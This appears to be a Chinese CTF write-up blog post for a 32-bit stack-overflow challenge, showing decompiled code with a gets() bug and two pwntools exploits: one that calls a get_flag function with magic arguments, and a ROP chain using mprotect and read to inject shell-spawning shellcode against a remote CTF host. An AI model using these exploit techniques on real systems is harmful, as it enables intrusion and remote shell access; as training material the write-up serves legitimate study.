emmm最近一直埋头于csapp,做一道题回忆回忆以前做的。这道题太大了,在main函数上方有个get_flag函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
漏洞是典型的栈溢出。需要我们进行填写。最开始向直接跳入get_flag函数,结果不能正确得到结果。看了看其他大佬的EXP,发现要有什么限制,必须维护好栈,所以地找一个函数来退出。于是利用了exit函数
exp
from pwn import *
context(os="linux", arch="i386", log_level="debug")
sh = process("./hhh")
flag_addr = 0x080489A0
# 0x0804E6A0为exit地址
payload = cyclic(0x38) + p32(0x080489A0) + p32(0x0804E6A0)
#后面俩个对应的是函数参数
payload += p32(0x308CD64F) + p32(0x195719D1)
sh.sendline(payload)
sh.recv()
#注意main函数没有push ebp
另外一个大佬的ROP利用
这里利用了一个后门函数
![上传中...]()
exp
from pwn import *
#coding = utf-8
context(os="linux", arch="i386", log_level="debug")
q = remote('node3.buuoj.cn',25023)
elf = ELF("./hhh")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
start_addr = 0x80ea000
pop_3 = 0x0804f460
payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3)
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7) #7具有rwxp
payload += p32(read_addr)
payload += p32(pop_3)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)
shellcode = asm(shellcraft.sh())
q.sendline(payload)
sleep(0.1)
q.sendline(shellcode)
q.interactive()
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。